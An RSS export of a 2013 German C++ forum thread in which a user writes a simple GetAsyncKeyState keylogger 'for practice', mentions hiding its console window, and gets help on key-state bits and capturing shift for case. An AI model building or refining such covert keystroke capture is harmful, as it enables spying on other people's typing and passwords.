<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0"><channel><title><![CDATA[Problem mit GetAsyncKeyState]]></title><description><![CDATA[<p>Hallo<br />
Ich möchte zur Übung einen keylogger schreiben. Dazu habe ich die Klasse keylogger angelegt.</p>
<pre><code>class keylogger
{
  private:
	  string s;
	  int key;

  public:
	  keylogger()
	  {
		  key = 0x30;
		  string s = &quot; &quot;;
	  }

	  void lesen()//liest Eingaben ein
	  {
		while(!GetAsyncKeyState(VK_F8)) // mach was bis die taste F8 gedrückt wird 
		{
		    for(int i = 0; i &lt; 42; i++)
			{
				if(GetAsyncKeyState(key))
				{
					s = s+ static_cast&lt;char&gt;(key);
				}
			}
		}
		cout &lt;&lt; s;

	  }
};
</code></pre>
<p>Aber das Programm gibt wenn man F8 drückt den String nicht aus <img
      src="https://www.c-plusplus.net/forum/plugins/nodebb-plugin-emoji/emoji/emoji-one/1f61e.png?v=ab1pehoraso"
      class="not-responsive emoji emoji-emoji-one emoji--disappointed_face"
      title=":("
      alt="😞"
    /></p>
]]></description><link>https://www.c-plusplus.net/forum/topic/316868/problem-mit-getasynckeystate</link><generator>RSS for Node</generator><lastBuildDate>Wed, 29 Jul 2026 17:15:47 GMT</lastBuildDate><atom:link href="https://www.c-plusplus.net/forum/topic/316868.rss" rel="self" type="application/rss+xml"/><pubDate>Sun, 19 May 2013 15:27:23 GMT</pubDate><ttl>60</ttl><item><title><![CDATA[Reply to Problem mit GetAsyncKeyState on Sun, 19 May 2013 15:31:53 GMT]]></title><description><![CDATA[<p>Hallo<br />
Ich möchte zur Übung einen keylogger schreiben. Dazu habe ich die Klasse keylogger angelegt.</p>
<pre><code>class keylogger
{
  private:
	  string s;
	  int key;

  public:
	  keylogger()
	  {
		  key = 0x30;
		  string s = &quot; &quot;;
	  }

	  void lesen()//liest Eingaben ein
	  {
		while(!GetAsyncKeyState(VK_F8)) // mach was bis die taste F8 gedrückt wird 
		{
		    for(int i = 0; i &lt; 42; i++)
			{
				if(GetAsyncKeyState(key))
				{
					s = s+ static_cast&lt;char&gt;(key);
				}
			}
		}
		cout &lt;&lt; s;

	  }
};
</code></pre>
<p>Aber das Programm gibt wenn man F8 drückt den String nicht aus <img
      src="https://www.c-plusplus.net/forum/plugins/nodebb-plugin-emoji/emoji/emoji-one/1f61e.png?v=ab1pehoraso"
      class="not-responsive emoji emoji-emoji-one emoji--disappointed_face"
      title=":("
      alt="😞"
    /></p>
]]></description><link>https://www.c-plusplus.net/forum/post/2324460</link><guid isPermaLink="true">https://www.c-plusplus.net/forum/post/2324460</guid><dc:creator><![CDATA[lolipoplol]]></dc:creator><pubDate>Sun, 19 May 2013 15:31:53 GMT</pubDate></item><item><title><![CDATA[Reply to Problem mit GetAsyncKeyState on Sun, 19 May 2013 16:04:30 GMT]]></title><description><![CDATA[<p>Du musst key in jedem Schleifendurchlauf erhöhen, und es vor jedem Schleifendurchlauf natürlich wieder zurücksetzen.<br />
Wieso du key überhaupt als Member hast, verstehe ich nicht....</p>
]]></description><link>https://www.c-plusplus.net/forum/post/2324474</link><guid isPermaLink="true">https://www.c-plusplus.net/forum/post/2324474</guid><dc:creator><![CDATA[Sone]]></dc:creator><pubDate>Sun, 19 May 2013 16:04:30 GMT</pubDate></item><item><title><![CDATA[Reply to Problem mit GetAsyncKeyState on Sun, 19 May 2013 17:09:07 GMT]]></title><description><![CDATA[<p>//edit</p>
<pre><code>void lesen()//liest Eingaben ein
	  {
		while(!GetAsyncKeyState(VK_F8)) // mach was bis die taste F8 gedrückt wird 
		{
		    for(int i = 0; i &lt; 190; i++)
			{
				if(GetAsyncKeyState(i) == -32767)
				{
					s = s+ static_cast&lt;char&gt;(i);
				}
			}
		}
		cout &lt;&lt; s;

	  }
</code></pre>
<p>Habs ma gegoogelt und so funktionierts <img
      src="https://www.c-plusplus.net/forum/plugins/nodebb-plugin-emoji/emoji/emoji-one/1f642.png?v=ab1pehoraso"
      class="not-responsive emoji emoji-emoji-one emoji--slightly_smiling_face"
      title=":)"
      alt="🙂"
    /> wieso muss ich prüfen ob GetAsyncKeyState == -32767 ist? Und alles ist noch in Großschreibung -.-<br />
Und wie kann ich die Konsole unsichtbar machen?</p>
]]></description><link>https://www.c-plusplus.net/forum/post/2324480</link><guid isPermaLink="true">https://www.c-plusplus.net/forum/post/2324480</guid><dc:creator><![CDATA[lolipoplol]]></dc:creator><pubDate>Sun, 19 May 2013 17:09:07 GMT</pubDate></item><item><title><![CDATA[Reply to Problem mit GetAsyncKeyState on Mon, 20 May 2013 11:19:27 GMT]]></title><description><![CDATA[<p>konsole unsichtbar machen hab ich rausgefunden <img
      src="https://www.c-plusplus.net/forum/plugins/nodebb-plugin-emoji/emoji/emoji-one/1f642.png?v=ab1pehoraso"
      class="not-responsive emoji emoji-emoji-one emoji--slightly_smiling_face"
      title=":)"
      alt="🙂"
    /><br />
Jetz soll das alles nicht in Großschreibung, sondern so wie man das eingibt sein. Wie kann ich dies ändern?</p>
]]></description><link>https://www.c-plusplus.net/forum/post/2324668</link><guid isPermaLink="true">https://www.c-plusplus.net/forum/post/2324668</guid><dc:creator><![CDATA[lolipoplol]]></dc:creator><pubDate>Mon, 20 May 2013 11:19:27 GMT</pubDate></item><item><title><![CDATA[Reply to Problem mit GetAsyncKeyState on Mon, 20 May 2013 11:46:28 GMT]]></title><description><![CDATA[<p>WinAPI schrieb:</p>
<blockquote>
<p>If the most significant bit is set, the key is down, and if the least significant bit is set, the key was pressed after the previous call to GetAsyncKeyState.</p>
</blockquote>
<p><code>GetAsyncKeyState</code> gibt einen <code>SHORT</code> ( <code>short</code> ) zurück. Wenn du auf -32767 prüfst, dann prüfst du in Wirklichkeit ob das höchste Bit und das niedrigste Bit gesetzt wurden (das klappt nur wegen dem Zweierkomplement!*). Meiner Meinung nach viel zu indirekt - <img
      src="https://www.c-plusplus.net/forum/plugins/nodebb-plugin-emoji/emoji/emoji-one/26a0.png?v=ab1pehoraso"
      class="not-responsive emoji emoji-emoji-one emoji--warning"
      title=":warning:"
      alt="⚠"
    /> und außerdem sollte man den Rückgabewert nicht darauf prüfen <img
      src="https://www.c-plusplus.net/forum/plugins/nodebb-plugin-emoji/emoji/emoji-one/26a0.png?v=ab1pehoraso"
      class="not-responsive emoji emoji-emoji-one emoji--warning"
      title=":warning:"
      alt="⚠"
    /> :</p>
<blockquote>
<p>Although the least significant bit of the return value indicates whether the key has been pressed since the last query, due to the pre-emptive multitasking nature of Windows, another application can call GetAsyncKeyState and receive the &quot;recently pressed&quot; bit instead of your application. The behavior of the least significant bit of the return value is retained strictly for compatibility with 16-bit Windows applications (which are non-preemptive) and should not be relied upon.</p>
</blockquote>
<p>Sprich, das ist keine verlässliche Methode, insbesondere da ein Keylogger ja im Hintergrund läuft.</p>
<p>Zwischen Groß- und Kleinschreibung unterscheidest du, in dem du zusätzlich noch <code>GetAsyncKeyState(VK_SHIFT)</code> abprüfst.<br />
Aber natürlich musst du noch die anderen Modifikatoren wie Ctrl&amp;Co. prüfen.</p>
<p>* Das höchste Bit ist gesetzt, da der Wert negativ ist. Außer dem Höchsten ist außerdem nur das niedrigste Bit gesetzt, da <span class="katex"><span class="katex-mathml"><math><semantics><mrow><msup><mn>2</mn><mrow><mn>1</mn><mn>6</mn></mrow></msup><mo>−</mo><mn>1</mn></mrow><annotation encoding="application/x-tex">2^{16}-1</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="strut" style="height:0.8141079999999999em;"></span><span class="strut bottom" style="height:0.897438em;vertical-align:-0.08333em;"></span><span class="base textstyle uncramped"><span class="mord"><span class="mord mathrm">2</span><span class="vlist"><span style="top:-0.363em;margin-right:0.05em;"><span class="fontsize-ensurer reset-size5 size5"><span style="font-size:0em;">​</span></span><span class="reset-textstyle scriptstyle uncramped"><span class="mord scriptstyle uncramped"><span class="mord mathrm">1</span><span class="mord mathrm">6</span></span></span></span><span class="baseline-fix"><span class="fontsize-ensurer reset-size5 size5"><span style="font-size:0em;">​</span></span>​</span></span></span><span class="mbin">−</span><span class="mord mathrm">1</span></span></span></span> als Betrag für das Zweierkomplement negiert wird.<br />
<span class="katex"><span class="katex-mathml"><math><semantics><mrow><msup><mn>2</mn><mrow><mn>1</mn><mn>6</mn></mrow></msup><mo>−</mo><mn>1</mn></mrow><annotation encoding="application/x-tex">2^{16}-1</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="strut" style="height:0.8141079999999999em;"></span><span class="strut bottom" style="height:0.897438em;vertical-align:-0.08333em;"></span><span class="base textstyle uncramped"><span class="mord"><span class="mord mathrm">2</span><span class="vlist"><span style="top:-0.363em;margin-right:0.05em;"><span class="fontsize-ensurer reset-size5 size5"><span style="font-size:0em;">​</span></span><span class="reset-textstyle scriptstyle uncramped"><span class="mord scriptstyle uncramped"><span class="mord mathrm">1</span><span class="mord mathrm">6</span></span></span></span><span class="baseline-fix"><span class="fontsize-ensurer reset-size5 size5"><span style="font-size:0em;">​</span></span>​</span></span></span><span class="mbin">−</span><span class="mord mathrm">1</span></span></span></span> als short<br />
0111111111111110<br />
<span class="katex"><span class="katex-mathml"><math><semantics><mrow><mo>−</mo><mo>(</mo><msup><mn>2</mn><mrow><mn>1</mn><mn>6</mn></mrow></msup><mo>−</mo><mn>1</mn><mo>)</mo></mrow><annotation encoding="application/x-tex">-(2^{16}-1)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="strut" style="height:0.8141079999999999em;"></span><span class="strut bottom" style="height:1.064108em;vertical-align:-0.25em;"></span><span class="base textstyle uncramped"><span class="mord">−</span><span class="mopen">(</span><span class="mord"><span class="mord mathrm">2</span><span class="vlist"><span style="top:-0.363em;margin-right:0.05em;"><span class="fontsize-ensurer reset-size5 size5"><span style="font-size:0em;">​</span></span><span class="reset-textstyle scriptstyle uncramped"><span class="mord scriptstyle uncramped"><span class="mord mathrm">1</span><span class="mord mathrm">6</span></span></span></span><span class="baseline-fix"><span class="fontsize-ensurer reset-size5 size5"><span style="font-size:0em;">​</span></span>​</span></span></span><span class="mbin">−</span><span class="mord mathrm">1</span><span class="mclose">)</span></span></span></span> als short:<br />
1000000000000001</p>
]]></description><link>https://www.c-plusplus.net/forum/post/2324678</link><guid isPermaLink="true">https://www.c-plusplus.net/forum/post/2324678</guid><dc:creator><![CDATA[Sone]]></dc:creator><pubDate>Mon, 20 May 2013 11:46:28 GMT</pubDate></item><item><title><![CDATA[Reply to Problem mit GetAsyncKeyState on Mon, 20 May 2013 14:33:16 GMT]]></title><description><![CDATA[<p>Vielen Danke jetz gehts <img
      src="https://www.c-plusplus.net/forum/plugins/nodebb-plugin-emoji/emoji/emoji-one/1f642.png?v=ab1pehoraso"
      class="not-responsive emoji emoji-emoji-one emoji--slightly_smiling_face"
      title=":)"
      alt="🙂"
    /></p>
]]></description><link>https://www.c-plusplus.net/forum/post/2324729</link><guid isPermaLink="true">https://www.c-plusplus.net/forum/post/2324729</guid><dc:creator><![CDATA[lolipoplol]]></dc:creator><pubDate>Mon, 20 May 2013 14:33:16 GMT</pubDate></item></channel></rss>